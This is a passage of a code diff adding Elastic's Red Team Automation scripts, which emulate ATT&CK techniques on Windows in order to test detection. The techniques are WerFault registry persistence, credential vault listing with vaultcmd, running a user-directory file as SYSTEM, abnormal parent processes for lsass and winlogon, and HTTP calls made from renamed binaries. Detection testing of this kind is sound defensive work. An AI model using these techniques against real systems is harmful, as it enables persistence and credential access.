|
||||
"odbcconf.exe"
|
||||
]
|
||||
|
||||
|
||||
def http_from_process(name, ip, port):
|
||||
path = os.path.join(common.BASE_DIR, name)
|
||||
common.log("Making HTTP GET from %s" % path)
|
||||
shutil.copy(sys.executable, path)
|
||||
common.execute([path, "-c", "from %s import urlopen ; urlopen('http://%s:%d')" % (urlliblib, ip, port)])
|
||||
common.remove_file(path)
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
server, ip, port = common.serve_web()
|
||||
|
||||
for process in process_names:
|
||||
http_from_process(process, ip, port)
|
||||
|
||||
server.shutdown()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,40 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Invalid Process Trees in Windows
|
||||
# RTA: unusual_parent_child.py
|
||||
# ATT&CK: T1093
|
||||
# Description: Runs several Windows core processes directly, instead of from the proper parent in Windows.
|
||||
|
||||
import os
|
||||
import sys
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("Running Windows processes with an unexpected parent of %s" % os.path.basename(sys.executable))
|
||||
process_names = [
|
||||
# "C:\\Windows\\System32\\smss.exe", BSOD (avoid this)
|
||||
# "C:\\Windows\\System32\\csrss.exe", BSOD (avoid this)
|
||||
# "C:\\Windows\\System32\\wininit.exe", BSOD (avoid this)
|
||||
# "C:\\Windows\\System32\\services.exe", BSOD (avoid this)
|
||||
"C:\\Windows\\System32\\winlogon.exe",
|
||||
"C:\\Windows\\System32\\lsass.exe",
|
||||
"C:\\Windows\\System32\\taskhost.exe", # Win7
|
||||
"C:\\Windows\\System32\\taskhostw.exe", # Win10
|
||||
"C:\\Windows\\System32\\svchost.exe",
|
||||
]
|
||||
|
||||
for process in process_names:
|
||||
# taskhostw.exe isn't on all versions of windows
|
||||
if os.path.exists(process):
|
||||
common.execute([process], timeout=2, kill=True)
|
||||
else:
|
||||
common.log("Skipping %s" % process, "-")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,38 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: SYSTEM Escalation from User Directory
|
||||
# RTA: user_dir_escalation.py
|
||||
# ATT&CK: T1044
|
||||
# Description: Spawns mock malware written to a regular user directory and executes as System.
|
||||
|
||||
import os
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(common.PS_EXEC)
|
||||
def main():
|
||||
# make sure path is absolute for psexec
|
||||
status = common.run_system()
|
||||
if status is not None:
|
||||
return status
|
||||
|
||||
common.log("Run a user-writeable file as system")
|
||||
source_path = common.get_path("bin", "myapp.exe")
|
||||
|
||||
target_directory = "c:\\users\\fake_user_rta-%d" % os.getpid()
|
||||
if not os.path.exists(target_directory):
|
||||
os.makedirs(target_directory)
|
||||
|
||||
target_path = os.path.join(target_directory, "user_file.exe")
|
||||
common.copy_file(source_path, target_path)
|
||||
common.execute([target_path])
|
||||
|
||||
common.remove_directory(target_directory)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,23 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: Searching Credential Vaults via VaultCmd
|
||||
# RTA: vaultcmd_commands.py
|
||||
# ATT&CK: T1003
|
||||
# Description: Lists the Windows Credential Vaults on the endpoint
|
||||
|
||||
import sys
|
||||
|
||||
from . import common
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
def main():
|
||||
common.log("Searching Credential Vaults via VaultCmd")
|
||||
|
||||
common.execute(["vaultcmd.exe", "/list"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main(*sys.argv[1:]))
|
||||
@@ -0,0 +1,47 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License;
|
||||
# you may not use this file except in compliance with the Elastic License.
|
||||
|
||||
# Name: WerFault.exe Persistence
|
||||
# RTA: werfault_persistence.py
|
||||
# ATT&CK: T1112
|
||||
# Description: Sets an executable to run when WerFault is run with -rp flags and runs it
|
||||
|
||||
import time
|
||||
|
||||
from . import common
|
||||
|
||||
MY_APP = common.get_path("bin", "myapp.exe")
|
||||
|
||||
|
||||
@common.requires_os(common.WINDOWS)
|
||||
@common.dependencies(MY_APP)
|
||||
def main():
|
||||
reg_key = "'HKLM:\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\hangs'"
|
||||
reg_name = "ReflectDebugger"
|
||||
|
||||
commands = ["C:\\Windows\\system32\\calc.exe",
|
||||
"'powershell -c calc.exe'",
|
||||
MY_APP]
|
||||
|
||||
for command in commands:
|
||||
common.log("Setting WerFault reg key to {}".format(command))
|
||||
common.execute(["powershell", "-c", "New-ItemProperty", "-Path", reg_key,
|
||||
"-Name", reg_name, "-Value", command], wait=False)
|
||||
time.sleep(1)
|
||||
|
||||
common.log("Running WerFault.exe -pr 1")
|
||||
common.execute(["werfault", "-pr", "1"], wait=False)
|
||||
time.sleep(2.5)
|
||||
|
||||
common.execute(["powershell", "-c", "Remove-ItemProperty", "-Path", reg_key, "-Name", reg_name])
|
||||
|
||||
common.log("Cleaning up")
|
||||
|
||||
common.execute(["taskkill", "/F", "/im", "calc.exe"])
|
||||
common.execute(["taskkill", "/F", "/im", "calculator.exe"])
|
||||
common.execute(["taskkill", "/F", "/im", "myapp.exe"])
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
exit(main())
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user